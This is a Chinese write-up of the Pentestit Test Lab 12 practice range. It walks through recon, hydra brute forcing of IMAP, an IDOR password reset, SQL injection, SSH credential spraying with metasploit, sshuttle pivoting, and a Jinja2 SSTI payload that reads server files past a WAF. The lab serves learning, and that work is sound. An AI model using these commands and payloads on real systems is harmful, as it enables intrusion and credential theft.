Pentestit Test Lab第12期

 

Test Lab是Pentestit每年更新的渗透测试系列实验靶场。本文介绍的是该系列第12期实验靶场The great equalizer的通关流程。(译者注:进入靶场过程已经略去)

 

搜索目标

靶场内部网段是192.168.101.X(掩码255.255.255.0)。首先,需要使用nmap在网段中找到“存活主机”:

nmap -sn 192.168.101.0/24

-sn 使用arp请求探测目标IP是否存活

发现了三台主机,其中192.168.101.1已经知道是网关:

  1. 192.168.101.1
  2. 192.168.101.12
  3. 192.168.101.13

第二步是扫描存活主机的开放端口情况。

nmap -sV -Pn 192.168.101.12-13 -p-
-sV 探测端口服务(软件)版本 
-Pn 禁ping扫描
-p- 扫描全部端口(0-65535)

从Nmap报告中可以看到192.168.101.13没有开放端口,所以下面从192.168.101.12入手。端口80显示有WEB服务。但直接访问它会被重定向至site.test.lab。原因是缺少DNS配置无法解析域名。结合浏览器和curl进一步证实:

curl http://192.168.101.12:80/
curl http://site.test.lab/

在/etc/hosts文件中写入site.test.lab DNS记录后便能正常访问。

第一步是收集该站点信息。最重要的是识别网站采用的CMS。可以使用wig工具:

wig -u http://site.test.lab/

从输出报告中我们得知站点使用了Wordpress,主要有:

  1. IP和title。
  2. web应用名称,版本和类型。
  3. 敏感的页面。
  4. 可使用的工具。
  5. 可能存在的漏洞(包含CVE链接)。

扫描WordPress及其安装插件(漏洞最多),wpscan工具是首选。

wpscan --url http://site.test.lab/ --enumerate p --random-user-agent

--url URL
--enumerate p – 扫描插件基本信息
--random-user-agent – 随机user-agent

得到WordPress版本、(可能存在的)漏洞和已安装的插件。事实上,这些漏洞对获取权限起不了多大作用,有价值的是WP启用的插件。这里发现启用了“ wp-survey-and-poll”插件。(需要注意的是,由于没有漏洞数据库,扫描工具只能获取软件的相关信息,很难显示所有现有漏洞。)扫描结果:

  1. WP版本:4.9.8。
  2. Twentyseventeen:启用,v1.9(译者注:主题)
  3. 插件:wp-survey-and-poll v 1.5.7

使用searchsploit快速搜索exploit-db数据库(kali默认离线缓存),没找到WP 4.9.8版本的漏洞。但有两个插件的漏洞:

searchsploit "WordPress Survey Poll"

下图是漏洞详情。一个很常见的cookie布尔盲注。在(调查问卷页面中)回答问题时,修改cookie(wp_sap)字段为payload。payload很简单:(任何表达式)OR 1 = 2(恒假),这样数据库只显示UNION后查询结果,回显位为第10位。但是后来发现网站有waf,这个漏洞没法利用。

 

MAIL token

碰壁后,只能找找其他的入口。上面WP上可以找到用户名info@test.lab,尝试爆破这个用户。8080端口有个WEB服务,但是启用了CSRF token(没法直接爆)。25端口smtp,密码也没跑出来。最后只剩下端口143(IMAP服务)。使用hydra进行爆破后,发现密码原来这么简单。

hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12

用这个邮箱账号可以登录192.168.101.12:8080。下面就是分析邮件,收集所有信息,以便后面派上用场。结果发现了:

  1. 收件箱:VPN配置文件vpn.conf。
  2. 发件箱:MAIL Token。
  3. 用户名:sviridov@test.lab

 

第二层VPN

我们需要进入公司内网。在连接外层VPN的基础上,我们又拿到了新的VPN配置文件。这种技术称为VPN over VPN-在VPN内再连接VPN。我们需要VPN用户名和密码才能连入新的VPN。现在我们只知道2个用户名(info和sviridov)以及info的密码。尝试组合已知的用户名和密码进行连接,如果不行就只能爆破了:

  1. 创建userVPN.txt文件,其中第一行是用户名,第二行是密码。
  2. 将该文件路径添加到VPN配置文件的auth-user-pass后。
  3. 创建bash脚本OverVPN.sh:openvpn —config 配置文件路径&
  4. 赋予执行权限:chmod 770 ./OverVPN.sh
  5. 运行:./ OverVPN.sh

幸运的是info@test.lab用户就能连,现在可以访问新的172.16.0.0/16网段。

和之前一样,首先扫描下网段的“存活主机”:

nmap -sn 172.16.0.0/16

发现有四个:

逐个扫描每个主机。172.16.0.1上没什么东西。可以猜测这台就是192段的192.168.101.13,我们连接到172段就是通过它。172.16.0.10只开了80端口,Web服务。172.16.0.17上有不少东西。172.16.1.2也没啥,很可能是另一个段的VPN服务网关。

 

DNS token

由于下一个是token名字叫DNS,因此我们分析172.16.0.17上的DNS服务,主要漏洞是获取DNS记录-DNS域传输(即AXFR请求)。

首先使用nslookup查询域和DNS服务器名称。

nslookup
> set type=ANY
> set port=53
> SERVER 172.16.0.17
> test.lab

第二步使用dig实现DNS域传输:

dig @172.16.0.17 ns1.test.lab axfr

(域传送)DNS服务器没有响应。但是它知道网络上其余的DNS。dnsrecon工具进行任何dns操作,比如获取网络上其余的DNS,并将它们添加到/etc/hosts文件中。

dnsrecon -d test.lab -n 172.16.0.17 -t brt

-d 域 
-n dns服务器
-t 指定使用技术,brt为暴力破解。

扫描主机172.16.0.17时,我们得到dns令牌。

dnsrecon -d test.lab -n 172.16.0.17 -a

hekpdesk token

下一个token名字叫helpdesk。在dns记录中也发现了同名子域名。它是172.16.0.10上运行的唯一服务。有一个简单的登录表单,目测不是用CMS搭建的。于是,试图用已知的用户登录。悄悄地走用户info@test.lab下。我们看到有个查询表单,填入token请求后,没有得到任何东西。这个功能应该每个用户都有,因此其他用户有可能可以获取到token。在页面上还发现有修改密码的功能。

对查询和修改密码表单进行各种扫描,没啥发现。然后查看密码修改页面的源代码。如果多次刷新,会注意到有个像CSRF token的隐藏字段一直不变。这显然不是CSRF令牌,只是串base64(解码后是数字)。

由于cookie没带上用户ID,所以很明显这是用户ID。思路有了:尝试修改所有ID的密码,如果成功的话就能用密码登录了。只有两个ID成功响应了修改密码的请求。逐个登录下,Root和admin没啥东西,sviridov@test.lab给了token。

 

AD token

在进入VPN之前,我们看下172.16.0.17上的服务,有个SAMBA ,工作组是TEST(从nmap结果中发现的)。扫下域中的用户:

enum4linux -U 172.16.0.17

Enum4linux给出了域、域中用户及其rid,还有一些其他信息。在用户信息中,我们拿到了token。扫出来的登录名最好随手存下。

 

User token

从之前helpdesk中,我们知道用户sviridov有VPN访问权限。我们还从helpdesk中拿到了他的密码。我们尝试用已有的VPN配置连接到192.168.101.12(在userVPN.txt中替换用户名和密码)。

连接成功,发现现在可以访问192.168.0.0/24和172.16.0.0/16两个段。

有必要继续扫下两个网络。之前172.16.0.0/16段已经扫过了,找到了8台存活主机。<br />而192.168.0.0/24这个段还没有扫过。很明显主机都有防火墙,扫描的时候得带上-Pn选项。结果看到大部分主机端口都被过滤了,只有下面一些主机打开了22端口:

  • 192.168.0.10
  • 192.168.0.15
  • 192.168.0.30
  • 192.168.0.100
  • 192.168.0.205
  • 192.168.0.240

 

192.168.0.0/24段上有6台存活主机开了ssh端口,我们都跑一遍,看下能不能用已知的用户密码登进去。

(译者注:图中用户info密码有误,应为123456789)

这里用了metasploit的auxiliay/scanner/ssh/ssh_login模块:

> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240
> set USERPASS_FILE '/root/CTF/PT12/userspass.txt'
> exploit

用这两个用户登录所有机器并查找信息。在192.168.0.100上走了很长一段路后,发现访问权限错误。用户主目录可供所有人查看,下面有一个所属用户是sviridov的.token文件。于是使用Svridov登录,成功提交User token。

没有发现更多有价值的东西。查看IP路由没有发现其他网络。在/tmp/中有些搞不清楚的东西:

  • 1.sh-什么也没给。
  • Client.jar-无法启动,因为没有JVM。
  • 命名为DAGESTAN_SILA的nmap。
  • 还有一堆垃圾。

 

VPN token

在172.16.0.0/16网络上,所有存活主机80端口都开着。逐个浏览下站点:

  • 172.16.1.10上找到一个token!!!我想到了VPN token。我推测是考察是否能以sviridov用户身份连接到192.168.101.12的VPN(果然是)。
  • 172.16.1.12是一个系统登录界面(译者注:Prewikka)。
  • 172.16.1.15上有个HTTP 401验证(Basic)。

挺简单的,继续往下。

 

SIEM token

转向172.16.1.12。首先了解下Prewikka:Prewikka是一套Prelude SIEM WEB应用,支持本地帐户或LDAP目录的身份验证。没找到相关漏洞,于是Google下默认用户名和密码,翻说明文档找到一组(prelude/preludepasswd)也不行。最后试了我们已有的两个用户密码,发现Sviridov可以登录。重要的是,只有管理员才能访问SIEM系统,所以说明Sviridov就是管理员,目前有了管理员权限。<br />进去发现显示的本月的数据。往前翻一个月看下记录数据。

只要注意我们添加到/etc/hosts的域名:

  • (admin.test.lab)172.16.1.25
  • (vpn-admin.test.lab)172.16.1.10
  • (repository.test.lab)172.16.1.15
  • (site.test.lab)172.16.0.14

在repository.test.lab日志中,我们找到一个令牌。

现在找到了site.test.lab的另一个IP,替换/etc/hosts中的记录,回去再试下之前发现的插件漏洞。

 

Site Token

转向site.test.lab,现在已经解析到172.16.0.14了,看看能不能绕过WAF。(成功绕过了waf)构造payload获取了DBMS版本和当前数据库。之后因为表名是默认的,所以直接拿到了用户名和哈希(默认情况下,用户表为wp_users)。但是爆破密码哈希没有跑出来。

于是,我们按照常规思路(获取的技术方法很简单,就不具体介绍了)-获得所有表名。发现了名叫token的表,获取下列名和数据类型,成功拿到了token。

Repository Token

在SIEM中,我们找到了repository.test.lab相关的日志(可以再回去看下)。试着用日志里的账号密码登录下:

成功!我们看到一些文件和token。

 

Reverse token

除了token之外,仓库里还有两个文件。能和Reverse扯上关系的应该只有bin文件了。于是简单地分析下这个可执行文件(用到了三个工具):

  • strings-可显示文件中的所有可打印字符串。跑出了许多行base64编码,解码什么也没有。
  • Ltrace-跟踪进程调用库函数的情况。跑了下,发现没有调用任何库函数。
  • Strace-跟踪系统调用情况。跑了下,没有发现有用的信息。

跑了三个工具都没啥发现。在这种情况下,我更喜欢用Angr自动解决(将在后续文章中介绍有关angr库的更多信息)。python代码:

import angr
import claripy
proj = angr.Project('./bin')
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1))
s = simgr.found[0]
print(s.posix.dumps(0))

得到了token:

 

DB token

现在看下JAR文件。Java,反编译一下就能拿到源码。(反编译的工具有很多,推荐的有:JAD,JD-GUI,Javasnoop,Intellij Idea Decompiler, JD-plugin Eclipse)。我用JD-GUI来反编译并在IntelliJ IDEA中重建项目。按照以下步骤操作:

  1. 运行jd-gui(对于Linux需要解决下存在的启动问题)。创建包含以下内容的bash文件并执行:<br />
    java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
  2. 下载client.jar。
  3. 打开Intellij Idea→ Import Project。指定文件夹的路径。
  4. 从现有资源创建项目。

保存到JD-GUI

分析程序代码看下执行过程:第一步是设置连接和SSL参数:连接172.16.0.55的5074端口。第二步是输入一个数字来选择请求类型。之后,传入对应参数给Reqvest函数,Reqvest函数返回生成的json格式请求。最后发送请求来获取响应。<br />

**

存在问题是:我们目前无法访问172.16.0.55。但之前发现在192.168.0.240 Sviridov目录下有类似的jar客户端程序。这意味着可能因为路由配置,主机192.168.0.240可以访问这台服务器。所以我们可以尝试使用ssh进行端口转发。(这里使用的是sshuttle)

sshuttle -r sviridov@192.168.0.240 172.16.0.0/16

果然可以访问:

现在,用调试模式测试应用程序,需要重新构建项目来修改部分代码。F9运行应用程序时会报错,需要解决报错问题:

  1. 把重复的代码清理下。
  2. 针对json报错,从项目中删除整个文件夹即可。
  3. 打开Open Module Setting或F4
  4. 在“Dependencies ”选项卡中,点击“ +”添加指定jar文件。

成功运行后,便开始寻找漏洞。已知查询字符串是在Reqvest函数内部形成的,所以稍微改下代码,看服务端是怎么响应的。添加一段代码来控制返回参数并在控制台中输出,再分别执行四种查询。如图,返回一串JSON字符串。这个系统有点像之前的HelpDesk,会将用户请求再返回给用户。值得注意的是服务端返回了发出请求的用户名,所以服务端肯定有数据库。

为了使修改和微调参数更加方便,我们让函数不断返回相同的字符串。

由于服务端上有数据库,所以先检查下是否有SQL注入:

  1. 尝试延迟playload,发现10秒的请求比0秒要长得多,存在sleep注入。
  2. 检查是否有盲注。发现真值条件结果没有改变,因此存在盲注。
  3. 确定回显位。通过构造UNION联合查询并order by排序,确定回显位为第5列。
  4. 查找服务器信息:DBMS(@@version)和数据库名称(database())。发现是MySQL数据库,库名为“ reqvest”。
  5. 通过information_schema查询表名。发现有token表。
  6. 注出token表中的列名。
  7. 注出token表的内容。

这个token还挺有意思的!

 

User API Token

之前在192.168.0.0/24上扫到了六台隐藏主机(需要-Pn),所以想到172.16.0.0/16段上可能也会有(隐藏主机)。扫描下常见的端口。输出比较多,可以直接搜关键字“ open”,发现了另外两台开放端口的主机。

172.16.1.20:8000被过滤了,看了下有个AJAX程序。按照常规方法扫描目录。Dirb结果:

contact页面对我们没啥用。login页面需要账号密码,同时支持某种条形码文件。多次访问这个页面会显示不同的图像。保存所有的4种图像,解码后为“ support_team”。

看一下扫出来的五个目录:contac,get_user_list,recover_password,login,support。访问get_user_list目录会提示有两个字符串参数-login和password。知道的几个用户和密码试下都不能登录。在条形码中,我们尝试登录support_team,也失败了。

后来无意中发现注入引号会有非正常的响应。
login=support_team“&password=“ and “1=1“

返回了一个像用户列表的东西。

用其他任意用户登录时,也会遇到相同的错误,应该是要找到正确的用户。于是写了一个脚本,遍历所有用户信息,把验证通过的找出来。

代码

from requests import get
list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}]
url = "http://172.16.1.20:8000/recover_password"
l = len(list_user)
valid=[]
for i in range(l):
    print(str(i)+" - " + str(l))
    req = get(url, params=list_user[i])
    if "use valid credentials" not in req.text:
        print(list_user[i])
        valid.append(list_user[i])
print(valid)

最后发现了medvedev这个用户。

尝试找回密码。“ +”被识别为空格,“&”被视为分隔符,直接提交不起作用,需要URLencode编码下。最后拿到了token。

 

Image token

我们找到了Stego的图片。用binwalk和十六进制编辑器查看文件,检查文件中的附件,发现没有想要的东西。于是用stegsolve分析下。在最大的图片2和1 rgb位置找到了“下沉位”。这是LSB方法。

用python PIL库深入分析下,发现图片像素位只有三种取值:0、255和249。按照这个规则可以创建一个二进制图像图:对于条形码,正常的像素值应该是0或者255,所以可以用“ 0”代替正常值,用“ 1”代替非正常值249。每16位分割成行,并从中删除全是零的行。最后计算每行代表的16进制数,转换为字符串,从而得到token。

代码

from PIL import Image
import binascii
image = Image.open('./support4.png')
width, height = image.size
pix = image.load()
r=''
for i in range(height):
    for j in range(width):
        if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0):
            r+='1'
        else:
            r+='0'
token=''
for i in range(0,len(r),16):
    if r[i:i+16] != '0'*16:
        token+=hex(r[i:i+16].find('1'))[2]
print(token)

 

My token

/etc/hosts文件中还有my.test.lab,是个登陆界面,之前没看过。用掌握的info,sviridov和medvedev用户密码成功后发现有个搜索栏。什么都没有,扫一下:用wapiti扫会被ban,尝试下SQL注入和XSS的查询,也会被ban。最后构造一个简单的测试SSTI的请求:{{7 * 7}},返回49,找到代码执行了。

接下来需要确定服务器上使用的模板引擎,来知道具体环境(变量,函数,常量等)。按照下面的规则可以很容易地判断:

(已经知道是Jinja2或Twig)。发送请求:{{7 *’ 7’}},正常执行,再通过{{self}}请求,确认是Jinja2 python模板引擎。

请求{{config}}看一下配置。找到了密钥,即token。

 

API token

翻阅文档发现jinja2会根据服务器的密钥生成cookie。要利用此漏洞,需要用到flask-session-cookie-manager脚本。尝试解密下,看看密钥是否有效,发现Cookie可以随便解:

知道Cookie的格式后,我们可以以任何用户身份登录。为此,还必须得生成cookie。我注意到中间件与系统时间之间存在相关性。我们更改日期,直到和中间件时间一致为止(发现是2060年)。生成了token和sviridov用户(的cookie),没有任何返回结果。于是改为生成adminde cookie并替换,返回了其他用户没有的密钥。

通过SSTI搜索RCE(远程代码执行)需要三天的时间。事实是,我们只能操作服务器上加载的模块及其功能。首先,需要找出什么功能,可以通过flask cookie来完成。

{{"".__class__.__mro__[1].__subclasses__()}}

将它插入cookie并刷新页面,服务器没有返回用户名而是返回了所有加载的python类。其中一个是Popen,用它能读取服务器上的文件。

可以按照/var/www/api/token路径读取文件。通过index访问该类(popen为94),调用open函数打开文件(为了绕过WAF需要断开文件路径)并使用read()函数读取文件内容。

{{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}}

复制字节形式输出的文件内容,在python解释器中粘贴为字符串并写入文件。用file命令发现是* tar.gz压缩文件,打开后拿到了token。

 

Admin token

剩下最后一个token。压缩文件中还有一台主机ssh密钥。分析SIEM记录可以找到这台主机。

连接之前需要配置密钥文件的访问权限为600(ssh连接时会检查)。连上后会显示访问已关闭,并且错误出在密钥中。

查看密钥文件格式,发现内容与完整的不一样(译者注:少了SHA哈希值)。需要补上建立连接时接受的身份验证信息(即SHA哈希值),哈希值可以在SIEM中。

新旧证书

尝试在Sviridov(他是管理员)下连接,发现密钥不对。列下目前有的用户:

使用metasploit框架模块scanner/ssh/ssh_login_pubkey来批量测试下用户和密钥。最后发现是sidorov的用户密钥。

在文件系统中查找token。

find | grep token

找到并检查权限后提交token。

 

结语

至此第12期Pentestit TEST LAB通关。

由衷感谢这期实验的组织者(这次一些任务偏向于CTF而非渗透测试)。我希望这篇文章能帮助大家学习和发现新事物,同时让大家回忆起自己披荆斩棘,逐个攻破,最终通关的激动喜悦。下面就坐等13期了……

(完)